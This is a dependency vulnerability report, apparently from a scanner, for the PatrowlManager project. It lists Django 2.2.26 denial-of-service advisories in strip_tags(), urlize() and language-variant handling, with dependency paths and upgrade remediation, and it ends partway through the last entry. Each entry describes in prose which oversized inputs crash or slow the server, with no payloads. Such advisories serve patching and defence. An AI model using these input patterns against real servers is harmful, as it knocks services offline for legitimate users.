Allocation of Resources Without Limits or Throttling

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.21.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the strip_tags() function. An attacker can cause slow performance by supplying large sequences of incomplete HTML tags.

Note: This also affects the striptags template filter which is built on top of strip_tags()

Remediation

Upgrade Django to version 4.2.21, 5.1.9, 5.2.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.14.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in django.utils.translation.get_supported_language_variant() function due to improper user input validation. An attacker can exploit this vulnerability by using very long strings containing specific characters. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.14, 5.0.7 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.14.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via the in django.utils.html.urlize() and django.utils.html.urlizetrunc() functions. If certain inputs with a very large number of brackets are provided, this could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.14, 5.0.7 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.15.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via very large inputs with a specific sequence of characters in the urlize() and urlizetrunc() template filters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.15, 5.0.8 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.15.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via certain inputs with a very large number of Unicode characters in the urlize and urlizetrunc template filters, and the AdminURLFieldWidget widget.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.15, 5.0.8 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.16.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to not accounting for very large inputs involving intermediate ;s, in the django.utils.html.urlize() and django.utils.html.urlizetrunc() template filter functions.

Details

